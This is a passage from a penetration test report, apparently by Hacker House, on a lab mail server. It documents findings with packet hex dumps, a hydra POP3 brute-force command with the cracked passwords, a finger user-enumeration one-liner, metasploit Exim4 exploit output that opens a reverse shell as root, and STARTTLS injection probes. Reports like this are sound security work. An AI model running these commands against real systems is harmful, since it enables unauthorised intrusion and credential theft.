0x0200:  C0 27 C0 28 C0 25 C0 26 C0 29 C0 2A 00 81 00 83    .'.(.%.&.).*....
0x0210:  00 80 00 82 00 AE 00 AF 00 2C 00 B0 00 B1 00 B6    .........,......
0x0220:  00 B7 00 2E 00 B8 00 B9 00 3C 00 3D 00 BA 00 C0    .........<.=....
0x0230:  00 3B C0 1C C0 1F C0 22 C0 1B C0 1E C0 21 C0 1A    .;.....".....!..
0x0240:  C0 1D C0 20 01 00 00 4F 00 0F 00 01 01 00 0A 00    ... ...O........
0x0250:  3E 00 3C 00 01 00 02 00 03 00 04 00 05 00 06 00    >.<.............
0x0260:  07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00    ................
0x0270:  0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00    ................
0x0280:  17 00 18 00 19 00 1A 00 1B 00 1C FF 01 FF 02 00    ................
0x0290:  0B 00 04 03 00 01 02 6F 6E 49 64 3C 2F 73 74 72    .......onId</str
0x02A0:  69 6E 67 3E 0A 20 20 20 20 20 20 20 20 3C 73 74    ing>.        <st
0x02B0:  72 69 6E 67 3E 64 65 73 74 69 6E 61 74 69 6F 6E    ring>destination
0x02C0:  3C 2F 73 74 72 69 6E 67 3E 3C 73 74 72 69 6E 67    </string><string
0x02D0:  3E 68 65 61 64 65 72 73 3C 2F 73 74 72 69 6E 67    >headers</string
0x02E0:  3E 3C 73 74 72 69 6E 67 3E 6D 65 73 73 61 67 65    ><string>message
0x02F0:  49 64 3C 2F 73 74 72 69 6E 67 3E 0A 20 20 20 20    Id</string>.
0x0300:  20 20 20 20 3C 73 74 72 69 6E 67 3E 6F 70 65 72        <string>oper
0x0310:  61 74 69 6F 6E 3C 2F 73 74 72 69 6E 67 3E 3C 73    ation</string><s
0x0320:  74 72 69 6E 67 3E 74 69 6D 65 73 74 61 6D 70 3C    tring>timestamp<
0x0330:  2F 73 74 72 69 6E 67 3E 3C 73 74 72 69 6E 67 3E    /string><string>
0x0340:  74 69 6D 65 54 6F 4C 69 76 65 3C 2F 73 74 72 69    timeToLive</stri
0x0350:  6E 67 3E 0A 20 20 20 20 20 20 20 20 3C 2F 74 72    ng>.        </tra
0x0360:  69 74 73 3E 3C 6F 62 6A 65 63 74 3E 3C 74 72 61    its><object><tra
0x0370:  69 74 73 20 2F 3E 0A 20 20 20 20 20 20 3C 2F 6F    its />.      </o
0x0380:  62 6A 65 63 74 3E 0A 20 20 20 20 20 20 3C 6E 75    bject>.      <nu
0x0390:  6C 6C 20 2F 3E 3C 73 74 72 69 6E 67 20 2F 3E 3C    ll /><string /><
0x03A0:  73 74 72 69 6E 67 20 2F 3E 0A 20 20 20 20 20 20    string />.
0x03B0:  3C 6F 62 6A 65 63 74 3E 0A 20 20 20 20 20 20 20    <object>.
0x03C0:  20 3C 74 72 61 69 74 73 3E 0A 20 20 20 20 20 20    <traits>.
```

```
0x03D0:  20 20 20 20 3C 73 74 72 69 6E 67 3E 44 53 49 64     <string>DSId
0x03E0:  3C 2F 73 74 72 69 6E 67 3E 3C 73 74 72 69 6E 67   </string><string
0x03F0:  3E 44 53 4D 65 73 73 61 67 69 6E 67 56 65 72 73   >DSMessagingVers
0x0400:  69 6F 6E 3C 2F 73 74 72 69 6E 67 3E 0A 20 20 20   ion</string>.
0x0410:  20 20 20 20 20 3C 2F 74 72 61 69 74 73 3E 0A 20        </traits>.
0x0420:  20 20 20 20 20 20 20 3C 73 74 72 69 6E 67 3E 6E         <string>n
0x0430:  69 6C 3C 2F 73 74 72 69 6E 67 3E 3C 69 6E 74 3E   il</string><int>
0x0440:  31 3C 2F 69 6E 74 3E 0A 20 20 20 20 20 20 3C 2F   1</int>.      </
0x0450:  6F 62 6A 65 63 74 3E 0A 20 20 20 20 20 20 3C 73   object>.      <s
0x0460:  74 72 69 6E 67 3E 26 6E 65 73 73 75 73 3B 3C 2F   string>&nessus;</
0x0470:  73 74 72 69 6E 67 3E 0A 3C 69 6E 74 3E 35 3C 2F   string>.<int>5</
0x0480:  69 6E 74 3E 3C 69 6E 74 3E 30 3C 2F 69 6E 74 3E   int><int>0</int>
0x0490:  3C 69 6E 74 3E 30 3C 2F 69 6E 74 3E 0A 20 20 20   <int>0</int>.
0x04A0:  20 3C 2F 6F 62 6A 65 63 74 3E 0A 20 20 3C 2F 62    </object>.  </b
0x04B0:  6F 64 79 3E 0A 3C 2F 61 6D 66 78 3E 49 61 5D 59   ody>.</amfx>Ia]Y
0x04C0:  EE E7 BA 7A 77 86 B8 FE 79 B3 EF 02 BA DF 39 3E   ...zw...y.....9>
0x04D0:  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 6F 6E 67      ............ong
0x04E0:  22 0A 20 20 20 20 20 20 78 6D 6C 6E 73 3A 73 6F   ".      xmlns:so
0x04F0:  61 70 65 6E 63 3D 22 68 74 74 70 3A 2F 2F 73 63   apenc="http://sc
0x0500:  68 65 6D 61 73 2E 78 6D 6C 73 6F 61 70 2E 6F 72   hemas.xmlsoap.or
0x0510:  67 2F 73 6F 61 70 2F 65 6E 63 6F 64 69 6E 67 2F   g/soap/encoding/
0x0520:  22 3E 0A 20 20 20 20 20 20 36 35 35 33 36 20 0A   ">.      65536 .
0x0530:  20 20 20 20 3C 2F 6D 75 6C 74 69 52 65 66 3E 0A       </multiRef>.
0x0540:  20 20 3C 2F 73 6F 61 70 65 6E 76 3A 42 6F 64 79     </soapenv:Body
0x0550:  3E 0A 3C 2F 73 6F 61 70 65 6E 76 3A 45 6E 76 65   >.</soapenv:Enve
0x0560:  6C 6F 70 65 3E A9 53 43 52 CB 3D 01 84 C3 9E 99   lope>.SCR.=.....
0x0570:  36 14 B3 C8 FE 84 EF 32 FA 03 03 03 03 00 00 00   6......2........
0x0580:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
*
0x1000:
```

TCP port 993 (IMAP):

```
0x0000:  4D 71 4C 00 02 3E 00 1D 00 1C FE FF FF E0 FE FE    MqL..>..........
0x0010:  FF E1 00 A2 00 A3 C0 80 C0 81 C0 A6 00 AA C0 A7    ................
0x0020:  00 AB C0 96 C0 90 C0 97 C0 91 CC AD C0 9E C0 A2    ................
0x0030:  00 9E C0 9F C0 A3 00 9F C0 7C C0 7D CC AA 00 A4    .........|.}....
0x0040:  00 A5 C0 82 C0 83 00 A0 00 A1 C0 7E C0 7F 00 A6    ...........~....
0x0050:  00 A7 C0 84 C0 85 C0 AC C0 AE C0 2B C0 AD C0 AF    ...........+....
0x0060:  C0 2C C0 72 C0 86 C0 73 C0 87 CC A9 C0 9A C0 9B    .,.r...s........
0x0070:  CC AC C0 2F C0 30 C0 76 C0 8A C0 77 C0 8B CC A8    .../.0.v...w....
0x0080:  C0 2D C0 2E C0 74 C0 88 C0 75 C0 89 C0 31 C0 32    .-...t...u...1.2
0x0090:  C0 78 C0 8C C0 79 C0 8D C0 AA C0 AB C0 A4 C0 A8    .x...y..........
0x00A0:  00 A8 C0 A5 C0 A9 00 A9 C0 94 C0 8E C0 95 C0 8F    ................
0x00B0:  CC AB 00 AC 00 AD C0 98 C0 92 C0 99 C0 93 CC AE    ................
0x00C0:  C0 9C C0 A0 00 9C C0 9D C0 A1 00 9D C0 7A C0 7B    .............z.{
0x00D0:  00 63 00 65 00 11 00 13 00 32 00 38 00 44 00 87    .c.e.....2.8.D..
0x00E0:  00 12 00 66 00 99 00 8F 00 90 00 91 00 8E 00 14    ...f............
0x00F0:  00 16 00 33 00 39 00 45 00 88 00 15 00 9A 00 0B    ...3.9.E........
0x0100:  00 0D 00 30 00 36 00 42 00 85 00 0C 00 97 00 0E    ...0.6.B........
0x0110:  00 10 00 31 00 37 00 43 00 86 00 0F 00 98 00 19    ...1.7.C........
0x0120:  00 17 00 1B 00 34 00 3A 00 46 00 89 00 1A 00 18    .....4.:.F......
0x0130:  00 9B C0 08 C0 09 C0 0A C0 06 C0 07 C0 12 C0 13    ................
0x0140:  C0 14 C0 10 C0 11 C0 03 C0 04 C0 05 C0 01 C0 02    ................
0x0150:  C0 0D C0 0E C0 0F C0 0B C0 0C C0 15 C0 17 C0 18    ................
0x0160:  C0 19 C0 16 00 29 00 26 00 2A 00 27 00 2B 00 28    .....).&.*.'.+.(
0x0170:  00 23 00 1F 00 22 00 1E 00 25 00 21 00 24 00 20    .#..."...%.!.$.
0x0180:  00 00 00 8B 00 8C 00 8D 00 8A 00 62 00 61 00 60    ...........b.a.`
0x0190:  00 64 00 08 00 06 00 03 00 93 00 94 00 95 00 92    .d..............
0x01A0:  00 0A 00 2F 00 35 00 41 00 84 00 09 00 07 00 01    .../.5.A........
0x01B0:  00 02 00 04 00 05 00 96 00 40 00 6A 00 BD 00 C3    .........@.j....
0x01C0:  00 B2 00 B3 00 2D 00 B4 00 B5 00 67 00 6B 00 BE    .....-.....g.k..
0x01D0:  00 C4 00 3E 00 68 00 BB 00 C1 00 3F 00 69 00 BC    ...>.h.....?.i..
0x01E0:  00 C2 00 6C 00 6D 00 BF 00 C5 C0 23 C0 24 C0 34    ...l.m.....#.$.4
0x01F0:  C0 35 C0 37 C0 36 C0 38 C0 39 C0 3A C0 3B C0 33    .5.7.6.8.9.:.;.3
0x0200:  C0 27 C0 28 C0 25 C0 26 C0 29 C0 2A 00 81 00 83    .'.(.%.&.).*....
0x0210:  00 80 00 82 00 AE 00 AF 00 2C 00 B0 00 B1 00 B6    .........,......
0x0220:  00 B7 00 2E 00 B8 00 B9 00 3C 00 3D 00 BA 00 C0    .........<.=....
0x0230:  00 3B C0 1C C0 1F C0 22 C0 1B C0 1E C0 21 C0 1A    .;.....".....!..
0x0240:  C0 1D C0 20 01 00 00 4F 00 0F 00 01 01 00 0A 00    ... ...O........
0x0250:  3E 00 3C 00 01 00 02 00 03 00 04 00 05 00 06 00    >.<.............
0x0260:  07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00    ................
0x0270:  0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00    ................
0x0280:  17 00 18 00 19 00 1A 00 1B 00 1C FF 01 FF 02 00    ................
0x0290:  0B 00 04 03 00 01 02 00 00 00 00 00 00 00 00 00    ................
0x02A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
*
0x1000:
```

TCP port 995 (POP3):

```
0x0000:  48 51 69 00 02 3E 00 1D 00 1C FE FF FF E0 FE FE    HQi..>..........
0x0010:  FF E1 00 A2 00 A3 C0 80 C0 81 C0 A6 00 AA C0 A7    ................
0x0020:  00 AB C0 96 C0 90 C0 97 C0 91 CC AD C0 9E C0 A2    ................
0x0030:  00 9E C0 9F C0 A3 00 9F C0 7C C0 7D CC AA 00 A4    .........|.}....
0x0040:  00 A5 C0 82 C0 83 00 A0 00 A1 C0 7E C0 7F 00 A6    ...........~....
0x0050:  00 A7 C0 84 C0 85 C0 AC C0 AE C0 2B C0 AD C0 AF    ...........+....
0x0060:  C0 2C C0 72 C0 86 C0 73 C0 87 CC A9 C0 9A C0 9B    .,.r...s........
0x0070:  CC AC C0 2F C0 30 C0 76 C0 8A C0 77 C0 8B CC A8    .../.0.v...w....
0x0080:  C0 2D C0 2E C0 74 C0 88 C0 75 C0 89 C0 31 C0 32    .-...t...u...1.2
0x0090:  C0 78 C0 8C C0 79 C0 8D C0 AA C0 AB C0 A4 C0 A8    .x...y..........
0x00A0:  00 A8 C0 A5 C0 A9 00 A9 C0 94 C0 8E C0 95 C0 8F    ................
0x00B0:  CC AB 00 AC 00 AD C0 98 C0 92 C0 99 C0 93 CC AE    ................
0x00C0:  C0 9C C0 A0 00 9C C0 9D C0 A1 00 9D C0 7A C0 7B    .............z.{
0x00D0:  00 63 00 65 00 11 00 13 00 32 00 38 00 44 00 87    .c.e.....2.8.D..
0x00E0:  00 12 00 66 00 99 00 8F 00 90 00 91 00 8E 00 14    ...f............
0x00F0:  00 16 00 33 00 39 00 45 00 88 00 15 00 9A 00 0B    ...3.9.E........
0x0100:  00 0D 00 30 00 36 00 42 00 85 00 0C 00 97 00 0E    ...0.6.B........
0x0110:  00 10 00 31 00 37 00 43 00 86 00 0F 00 98 00 19    ...1.7.C........
0x0120:  00 17 00 1B 00 34 00 3A 00 46 00 89 00 1A 00 18    .....4.:.F......
0x0130:  00 9B C0 08 C0 09 C0 0A C0 06 C0 07 C0 12 C0 13    ................
0x0140:  C0 14 C0 10 C0 11 C0 03 C0 04 C0 05 C0 01 C0 02    ................
0x0150:  C0 0D C0 0E C0 0F C0 0B C0 0C C0 15 C0 17 C0 18    ................
0x0160:  C0 19 C0 16 00 29 00 26 00 2A 00 27 00 2B 00 28    .....).&.*.'.+.(
0x0170:  00 23 00 1F 00 22 00 1E 00 25 00 21 00 24 00 20    .#..."...%.!.$.
0x0180:  00 00 00 8B 00 8C 00 8D 00 8A 00 62 00 61 00 60    ...........b.a.`
0x0190:  00 64 00 08 00 06 00 03 00 93 00 94 00 95 00 92    .d..............
0x01A0:  00 0A 00 2F 00 35 00 41 00 84 00 09 00 07 00 01    .../.5.A........
0x01B0:  00 02 00 04 00 05 00 96 00 40 00 6A 00 BD 00 C3    .........@.j....
0x01C0:  00 B2 00 B3 00 2D 00 B4 00 B5 00 67 00 6B 00 BE    .....-.....g.k..
0x01D0:  00 C4 00 3E 00 68 00 BB 00 C1 00 3F 00 69 00 BC    ...>.h.....?.i..
0x01E0:  00 C2 00 6C 00 6D 00 BF 00 C5 C0 23 C0 24 C0 34    ...l.m.....#.$.4
0x01F0:  C0 35 C0 37 C0 36 C0 38 C0 39 C0 3A C0 3B C0 33    .5.7.6.8.9.:.;.3
0x0200:  C0 27 C0 28 C0 25 C0 26 C0 29 C0 2A 00 81 00 83    .'.(.%.&.).*....
0x0210:  00 80 00 82 00 AE 00 AF 00 2C 00 B0 00 B1 00 B6    .........,......
0x0220:  00 B7 00 2E 00 B8 00 B9 00 3C 00 3D 00 BA 00 C0    .........<.=....
0x0230:  00 3B C0 1C C0 1F C0 22 C0 1B C0 1E C0 21 C0 1A    .;.....".....!..
0x0240:  C0 1D C0 20 01 00 00 4F 00 0F 00 01 01 00 0A 00    ... ...O........
0x0250:  3E 00 3C 00 01 00 02 00 03 00 04 00 05 00 06 00    >.<.............
0x0260:  07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00    ................
0x0270:  0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00    ................
0x0280:  17 00 18 00 19 00 1A 00 1B 00 1C FF 01 FF 02 00    ................
0x0290:  0B 00 04 03 00 01 02 00 00 00 00 00 00 00 00 00    ................
0x02A0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
*
0x1000:
```

2. POP3 service susceptible to brute-force attacks

192.168.56.102

Using a list of valid user names that Hacker House were able to enumerate using the finger service (also running on this host) it was possible to launch a successful brute-force attack against the POP3 service. A tool called hydra was used to show how an adversary might quickly access accounts with weak passwords. The following command passes a list of user names that exist on the host to hydra, along with a short list of passwords. Each combination is tried against the POP3 service, which does not lock out accounts or attempt to limit repeated failed login attempts:

```
# hydra -L realusers.txt -P ./wordlists/weak_passwords.txt 192.168.56.102 pop3
```

Please see the associated issue, Finger service user enumeration for an explanation of the first stage of this two-stage attack.

Below, the command is run and the output from this tool shown. Three users were identified as having very weak passwords, two of which were the same.

```
# hydra -L realusers.txt -P ./wordlists/weak_passwords.txt 192.168.56.102 pop3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-08 16:58:59
[INFO] several providers have implemented cracking protection, check with a small
wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:6/p:18), ~7
tries per task
[DATA] attacking pop3://192.168.56.102:110/
[110][pop3] host: 192.168.56.102   login: charliew    password: private
[110][pop3] host: 192.168.56.102   login: johnk    password: webmail
[110][pop3] host: 192.168.56.102   login: sarahk   password: webmail
1 of 1 target successfully completed, 3 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-08 16:59:19
```

Note that the server advertises its use of POP3 and gives the version and type of software in use. This makes it possible for automated scanners to detect it:

POP3 NTLM message disclosure (TCP port 110):

```
banner                : mailserver01 Cyrus POP3 v2.3.2 server ready
<2708704128.1533556357@mailserver01>
netbios_computer_name : unknown
os_version            : unknown
target_realm          : MAILSERVER01
```

POP3 NTLM message disclosure (TCP port 995):

```
banner                : mailserver01 Cyrus POP3 v2.3.2 server ready
<2231234654.1533556360@mailserver01>
netbios_computer_name : unknown
os_version            : unknown
target_realm          : MAILSERVER01
```

3. Weak user passwords in use

192.168.56.102

Here, a brute-forcing tool is used to guess passwords for known user accounts. Three passwords were obtained in this way as shown below:

```
# hydra -L realusers.txt -P ./wordlists/weak_passwords.txt 192.168.56.102 pop3
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-08 16:58:59
[INFO] several providers have implemented cracking protection, check with a small
wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:6/p:18), ~7
tries per task
[DATA] attacking pop3://192.168.56.102:110/
[110][pop3] host: 192.168.56.102   login: charliew    password: private
[110][pop3] host: 192.168.56.102   login: johnk    password: webmail
[110][pop3] host: 192.168.56.102   login: sarahk   password: webmail
1 of 1 target successfully completed, 3 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-08-08 16:59:19
```

5. POP3 cleartext logins permitted

192.168.56.102
The POP3 service running on TCP port 110 allows the USER cleartext authentication method.

6. SMTP heap buffer overflow

192.168.56.102

An open source tool called metasploit was used to exploit this vulnerability. The following shows output from that tool, which successfully exploited the two vulnerabilities. The id command was run to verify that the root user permissions had been obtained.

```
msf exploit(unix/smtp/exim4_string_format) > run
[*] Started reverse TCP handler on 192.168.56.105:4444
[*] 192.168.56.102:25 - Connecting to 192.168.56.102:25 ...
[*] 192.168.56.102:25 - Server: 220 localhost ESMTP Exim 4.68 Wed, 08 Aug 2018
16:30:21 +0000
[*] 192.168.56.102:25 - EHLO: 250-localhost Hello WV2SYAmg.com [192.168.56.105]
[*] 192.168.56.102:25 - EHLO: 250-SIZE 52428800
[*] 192.168.56.102:25 - EHLO: 250-EXPN
[*] 192.168.56.102:25 - EHLO: 250-PIPELINING
[*] 192.168.56.102:25 - EHLO: 250 HELP
[*] 192.168.56.102:25 - Determined our hostname is WV2SYAmg.com and IP address is
192.168.56.105
[*] 192.168.56.102:25 - MAIL: 250 OK
[*] 192.168.56.102:25 - RCPT: 250 Accepted
[*] 192.168.56.102:25 - DATA: 354 Enter message, ending with "." on a line by
itself
[*] 192.168.56.102:25 - Constructing initial headers ...
[*] 192.168.56.102:25 - Constructing HeaderX ...
[*] 192.168.56.102:25 - Constructing body ...
[*] 192.168.56.102:25 - Sending 50 megabytes of data...
[*] 192.168.56.102:25 - Ending first message.
[*] 192.168.56.102:25 - Result: "552 Message size exceeds maximum permitted\r\n"
[*] 192.168.56.102:25 - Sending second message ...
[*] 192.168.56.102:25 - MAIL result: "/bin/sh: 0: can't access tty; job control
turned off\n$ "
[*] 192.168.56.102:25 - RCPT result: "/bin/sh: 1: RCPT: not found\n"
[*] 192.168.56.102:25 - Looking for Perl to facilitate escalation...
[*] 192.168.56.102:25 - Perl binary detected, attempt to escalate...
[*] 192.168.56.102:25 - Using Perl interpreter at /usr/bin/perl...
[*] 192.168.56.102:25 - Creating temporary files /var/tmp/XliWuOGs and
/var/tmp/vbVnVDcr...
[*] 192.168.56.102:25 - Attempting to execute payload as root...
[*] Command shell session 1 opened (192.168.56.105:4444 -> 192.168.56.102:50206)
at 2018-08-08 17:30:26 +0100

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mailserver01 3.16.0-4-586 #1 Debian 3.16.43-2 (2017-04-30) i686 GNU/Linux
```

7. Cleartext submission of password

Web-application

The Firefox web browser is showing that this login page is insecure, as the connection is over HTTP:

Here is the request made to access the above login page:

```
GET /src/login.php HTTP/1.1
Host: 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SQMSESSID=2rkl7ic58ioepobpr6df7p3j77
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Here is the raw response showing the login form and the password field (named secret key) which is submitted as plaintext:

```
HTTP/1.1 200 OK
Server: nginx/1.4.0
Date: Mon, 06 Aug 2018 15:38:14 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Set-Cookie: SQMSESSID=bjsu53nvju56mvcnrg9skit2d4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: SQMSESSID=bjsu53nvju56mvcnrg9skit2d4; path=/; HttpOnly
Pragma: no-cache
Content-Length: 2287

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<meta name="robots" content="noindex,nofollow">

<title>HackerHouse - Login</title><script language="JavaScript"
type="text/javascript">
<!--
  var alreadyFocused = false;
  function squirrelmail_loginpage_onload() {
    document.login_form.js_autodetect_results.value = '1';
    if (alreadyFocused) return;
    var textElements = 0;
    for (i = 0; i < document.login_form.elements.length; i++) {
      if (document.login_form.elements[i].type == "text" ||
document.login_form.elements[i].type == "password") {
        textElements++;
        if (textElements == 1) {
          document.login_form.elements[i].focus();
          break;
        }
      }
    }
  }
// -->
</script>

<!--[if IE 6]>
<style type="text/css">
/* avoid stupid IE6 bug with frames and scrollbars */
body {
    width: expression(document.documentElement.clientWidth - 30);
}
</style>
<![endif]-->

</head>

<body text="#000000" bgcolor="#ffffff" link="#0000cc" vlink="#0000cc"
alink="#0000cc" onLoad="squirrelmail_loginpage_onload();">
<form action="redirect.php" method="post" name="login_form">
<table bgcolor="#ffffff" border="0" cellspacing="0" cellpadding="0"
width="100%"><tr><td align="center"><center><img src="../images/hh.png"
alt="HackerHouse Logo" /><br />
<small>SquirrelMail version 1.4.18<br />
  For all enquiries please email johnk@mailserver01<br /></small>
<table bgcolor="#ffffff" border="0" width="350"><tr><td bgcolor="#dcdcdc"
align="center"><b>HackerHouse Login</b>
```

```
</td>
</tr>
<tr><td bgcolor="#ffffff" align="left">
<table bgcolor="#ffffff" align="center" border="0" width="100%"><tr><td
align="right" width="30%">Name:</td>
<td align="left" width="70%"><input type="text" name="login_username" value=""
onfocus="alreadyFocused=true;" />
</td>
</tr>

<tr><td align="right" width="30%">Password:</td>
<td align="left" width="70%"><input type="password" name="secretkey"
onfocus="alreadyFocused=true;" />
<input type="hidden" name="js_autodetect_results" value="0" />
<input type="hidden" name="just_logged_in" value="1" />
</td>
</tr>
</table>
</td>
</tr>
<tr><td align="left"><center><input type="submit" value="Login" />
</center></td>
</tr>
</table>
</center></td>
</tr>
</table>
</form>
</body></html>
```

8. SSL certificate cannot be trusted

192.168.56.102

The following certificate was at the top of the certificate chain, and is signed by Superfish, Inc. Superfish is not a trustworthy certificate authority.

```
|-Subject : O=Superfish, Inc./L=SF/ST=CA/C=US/CN=Superfish, Inc.
|-Issuer  : O=Superfish, Inc./L=SF/ST=CA/C=US/CN=Superfish, Inc.
```

This applies to the following ports and services:

- 110 / tcp / pop3
- 143 / tcp / imap
- 993 / tcp / imap
- 995 / tcp / pop3

The HTTPS service (port 443) is also affected. The certificate shows the same same non-trustworthy authority:

```
|-Subject : C=UK/ST=Underground/L=Private/O=HH/OU=Elite
Squad/CN=hackbloc.linux01.lab/E=root@localhost
|-Issuer  : O=Superfish, Inc./L=SF/ST=CA/C=US/CN=Superfish, Inc.
```

9. OpenSSL ChangeCipherSpec vulnerability

192.168.56.102
Port 443 accepted an early ChangeCipherSpec message, which caused the MAC and encryption keys to be derived entirely from public information. The entire SSL handshake was completed, with the server accepting and producing messages encrypted and authenticated using these weak keys.

Port 993 accepted an early ChangeCipherSpec message, which caused the MAC and encryption keys to be derived entirely from public information. The entire SSL handshake was completed, with the server accepting and producing messages encrypted and authenticated using these weak keys.

Port 995 accepted an early ChangeCipherSpec message, which caused the MAC and encryption keys to be derived entirely from public information. The entire SSL handshake was completed, with the server accepting and producing messages encrypted and authenticated using these weak keys.

10. Finger service user enumeration

192.168.56.102

Here is the output that was obtained from the finger service for root :

```
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

To exploit this vulnerability, a text file (usernames.txt) was created containing a list of likely user names, based on information found elsewhere. The following command was then run, to use the finger service to query each potential user name:

```
cat usernames.txt | parallel -j 10 finger {}@192.168.56.102 | grep -v "no such
user."
```

The finger service responds differently depending on whether or not a user exists, and so a list of valid user names was enumerated:

```
Login: charliew                         Name:
Directory: /home/charliew               Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: johnk                            Name:
Directory: /home/johnk                  Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: jennya                           Name:
Directory: /home/jennya                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: peterp                           Name:
Directory: /home/peterp                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: roberta                          Name:
Directory: /home/roberta                Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: sarahk                           Name:
Directory: /home/sarahk                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

It was possible to use these usernames in a password guessing attack, to successfully gain access to the system by exploiting the POP3 service – see that issue for more information.

11. IMAP service command injection

192.168.56.102
The following two commands were sent in a single packet :

```
STARTTLS\r\nCAPABILITY\r\n
```

And the server sent the following two responses :

```
OK Begin TLS negotiation now
OK Completed
```

12. POP3 service command injection

192.168.56.102
HackerHouse sent the following two commands to the POP3 service (running on TCP port 110) in a single packet :

```
STLS\r\nCAPA\r\n
```

The server sent the following two responses :

```
OK Begin TLS negotiation now
OK List of capabilities follows
```

13. FTP server software out-of-date

192.168.56.102
The following banner was presented on connection to TCP port 21:

```
220 ProFTPD 1.3.3a Server (Private FTPd) [192.168.56.102]
```

16. SSL RC4 cipher suites supported (Bar Mitzvah)

192.168.56.102
The following RC4 cipher suites are supported:

```
Low Strength Ciphers (<= 64-bit key):
EXP-RC4-MD5                 Kx=RSA    Au=RSA      Enc=RC4              Mac=MD5
High Strength Ciphers (>= 112-bit key):
RC4-MD5                     Kx=RSA          Au=RSA      Enc=RC4
Mac=MD5
RC4-SHA                     Kx=RSA          Au=RSA      Enc=RC4
Mac=SHA1
```

TCP port 995 (POP3) is affected.

17. identd user information leak

192.168.56.102
identd revealed that the following service was running as the **root** user:

- Port 9 / tcp / discard

identd revealed that the following service was running as **www-data**:

- Port 80 / tcp / web service

identd revealed that the following service was running as **oident**:

- Port 113 / tcp / auth

identd revealed that the following services were running as **cyrus**:

- 143 / tcp / imap
- 110 / tcp / pop3
- 993 / tcp / imap
- 995 / tcp / pop3

Appendix

1. Methodology

Hacker House Ltd. use different testing methodologies for each component of work that adhere to industry best practice guidelines for security evaluation. Hacker House Ltd. implements use of the OSSTMM (Open-source Security Testing Methodology Manual) and PTES (Penetration Testing Execution Standards) amongst numerous UK government guidelines intended to provide a baseline metric for security evaluations.

Vulnerabilities are ranked against the Common Vulnerability Scoring System (CVSS) and additionally include Common Vulnerability Exposures (CVE) or alternative reference numbers where available.

Checks for common vulnerabilities (those typically the result of missing patches or misconfiguration) affecting infrastructure are performed, alongside scans for application layer vulnerabilities such as those in the OWASP Top 10. The following actions will be performed as part of the engagement:

- Reconnaissance & scanning to identify hosts and services.
- Discovery & probing of identified hosts for service end-points and fingerprinting of software in use.
- Enumeration of software types in use and information leak attacks to identify users and misconfiguration.
- Vulnerability identification through the use of passive and active probing to determine weaknesses that impact the system, applications and services.
- Active scanning for identification of application layer and API vulnerabilities that may impact on back-end services from front-end components. Typical activities include scanning for cross-site scripting (XSS) flaws and SQL injection vulnerabilities through form poisoning and misuse of application functionality.
- Attempts to use the application and its components in a manner deemed to be outside of its intended scope of operation. This will include authorisation bypass attacks, misuse of permission models and attempts to perform privilege escalation attacks.
- Exploitation of identified vulnerabilities; weaknesses identified will be exploited to provide a clear understanding of system risk and potential mitigation strategies that can be deployed to prevent misuse.